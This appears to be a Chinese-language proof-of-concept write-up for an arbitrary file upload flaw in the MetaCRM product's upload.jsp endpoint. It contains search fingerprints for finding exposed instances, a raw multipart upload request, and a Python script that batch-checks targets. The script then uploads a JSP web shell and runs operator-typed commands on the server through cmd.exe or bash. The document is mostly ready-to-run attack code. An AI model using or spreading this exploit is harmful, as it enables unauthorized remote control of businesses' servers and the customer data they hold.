MetaCRM是一款智能平台化CRM软件,通过提升企业管理和协同办公,全面提高企业管理水平和运营效率,帮助企业实现卓越管理。是建立在一种统一的架构上的技术领先的CRM系统。美特软件公司投资大量的时间与人力来开发MetaCRM,作为其旗舰产品,MetaCRM设计采用了最先进的因特网技术,因而它的架构支持统一的技术标准,融入了未来科技。建立在这种先进科技基础上的MetaCRM 5是一个技术领先的、稳定的客户关系管理解决方案。其upload.jsp接口存在任意文件上传漏洞,攻击者可通过改漏洞上传恶意脚本从而控制该系统。
body="/common/scripts/basic.js"
product="美特软件-MetaCRM6"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null& HTTP/1.1
Host: x.x.x.x
Content-Length: 779
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Referer: http://x.x.x.x/develop/systparam/softlogo/file2.jsp
Connection: close
------WebKitFormBoundary0Mh3BfgWszxRFokh
Content-Disposition: form-data; name="file"; filename="klms.jsp"
Content-Type: text/plain
<% out.print("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundary0Mh3BfgWszxRFokh
Content-Disposition: form-data; name="key"
null
------WebKitFormBoundary0Mh3BfgWszxRFokh
Content-Disposition: form-data; name="form"
null
------WebKitFormBoundary0Mh3BfgWszxRFokh
Content-Disposition: form-data; name="field"
null
------WebKitFormBoundary0Mh3BfgWszxRFokh
Content-Disposition: form-data; name="filetitile"
null
------WebKitFormBoundary0Mh3BfgWszxRFokh
Content-Disposition: form-data; name="filefolder"
null
------WebKitFormBoundary0Mh3BfgWszxRFokh--
文件上传路径http:127.0.0.1/userfile/default/userlogo/klms.jsp
import requests
import urllib3
import re,string,random
from urllib.parse import urljoin
import argparse
import time
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
with open(file_path, 'r') as file:
urls = file.read().splitlines()
return urls
def generate_random_string(length):
characters = string.ascii_letters + string.digits
random_string = ''.join(random.choice(characters) for _ in range(length))
return random_string
def check(url):
url = url.rstrip("/")
target = urljoin(url,"/develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null&")
headers = {
"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh"
}
filename = generate_random_string(6)
data = """------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="file"; filename="{}.jsp"\r\nContent-Type: text/plain\r\n\r\n<% out.print("HelloWorldTest");new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="key"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="form"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="field"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filetitile"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filefolder"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh--""".format(filename)
try:
response = requests.post(target, verify=False, data=data,headers=headers, timeout=15)
if response.status_code == 200 and 'userfile' in response.text and 'parentForm' in response.text:
pattern = r'oForm\.elements\["null"\]\.value="(.*?)"'
matches = re.findall(pattern, response.text)
if matches:
extracted_path = matches[0]
result_url = urljoin(url,extracted_path)
response = requests.get(result_url, verify=False, headers={"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"}, data=data, timeout=15)
if response.status_code == 200 and 'HelloWorldTest' in response.text:
print(f"\033[31mDiscovered:{url}: metasoftCRM_upload_ArbitraryFileUploads!\033[0m")
return True
except Exception as e:
pass
def run(url):
url = url.rstrip("/")
target = urljoin(url,"/develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null&")
headers = {
"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundary0Mh3BfgWszxRFokh"
}
filename = generate_random_string(6)
data_template = """------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="file"; filename="replace1.jsp"\r\nContent-Type: text/plain\r\n\r\n<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%><%@ page import="java.io.*"%><%Process p=null;String cmd = "replace2";String os = System.getProperty("os.name").toLowerCase();if (os.contains("windows")) {p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});}else{p = Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd});}if(cmd != null){InputStream input = p.getInputStream();InputStreamReader ins = new InputStreamReader(input, "GBK");BufferedReader br = new BufferedReader(ins);out.print("<pre>");String line;while((line = br.readLine()) != null) {out.println(line);}out.print("</pre>");br.close();ins.close();input.close();p.getOutputStream().close();}new java.io.File(application.getRealPath(request.getServletPath())).delete();%>\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="key"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="form"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="field"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filetitile"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh\r\nContent-Disposition: form-data; name="filefolder"\r\n\r\nnull\r\n------WebKitFormBoundary0Mh3BfgWszxRFokh--"""
try:
if check(url):
while True:
command = input("\033[34mPlease input command (stop input:exit):\033[0m")
if "exit" not in command:
data = data_template.replace('replace1', filename).replace('replace2', command)
response = requests.post(target, verify=False, data=data, headers=headers, timeout=15)
if response.status_code == 200 and 'userfile' in response.text and 'parentForm' in response.text:
pattern = r'oForm\.elements\["null"\]\.value="(.*?)"'
matches = re.findall(pattern, response.text)
if matches:
extracted_path = matches[0]
result_url = urljoin(url, extracted_path)
response = requests.get(result_url, verify=False, headers={"User-Agent": "Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/27.0.1453.116 Safari/537.36"}, timeout=15)
if response.status_code == 200:
print(response.text)
else:
break
except Exception as e:
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help="URL")
parser.add_argument("-f", "--txt", help="file")
args = parser.parse_args()
url = args.url
txt = args.txt
if url:
run(url)
elif txt:
urls = read_file(txt)
for url in urls:
check(url)
else:
print("help")